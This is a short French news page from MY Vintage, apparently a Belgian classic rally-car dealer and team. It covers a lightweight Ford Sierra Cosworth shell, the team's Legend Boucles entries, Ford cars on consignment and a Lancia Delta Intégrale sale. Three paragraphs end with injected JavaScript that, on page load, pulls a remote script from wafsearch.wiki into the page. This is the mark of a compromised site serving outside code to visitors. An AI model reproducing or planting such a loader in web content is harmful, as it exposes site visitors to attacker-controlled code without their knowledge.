Nouveautés

Construite à l’usine de Genk par Ford Motorsport à la fin des années 80, cette caisse de Ford Sierra Cosworth est allégée par rapport à un modèle de série. Dénichée dans un ancien stock par MY Vintage, elle vient d’être acquise par un amateur français qui compte l’utiliser comme base pour construire une voiture de rallye historique. Nous avons hâte de la voir terminée dans quelques mois !

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Présent depuis quelques années aux Legend Boucles, le team hutois MY Vintage met les bouchées doubles cette année en alignant quatre voitures cette année. var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head').appendChild(script);

Avis aux passionnés de la marque à l’ovale bleu, nous avons quelques jolis modèles dans notre dépôt-vente. Il y en a pour tous les goûts et tous les budgets, de la Taunus 20M XL restaurée en 2004 à la Cortina Lotus Mk I prête à courir !var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head').appendChild(script);

Voiture mythique des années 80, la Delta Intégrale a permis à Lancia de dominer le Championnat du Monde des Rallyes après l’ère des groupe B. Six titres constructeurs et quatre titres Pilotes pour Mikki Biaison et Juha Kankkunen figurent au palmarès des différentes versions de la Delta. Devenue yougtimer, cette « groupe A de route » rencontre toujours un franc succès… et ce n’est pas Lorenz qui dira le contraire après son acquisition chez MY Vintage !var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head').appendChild(script);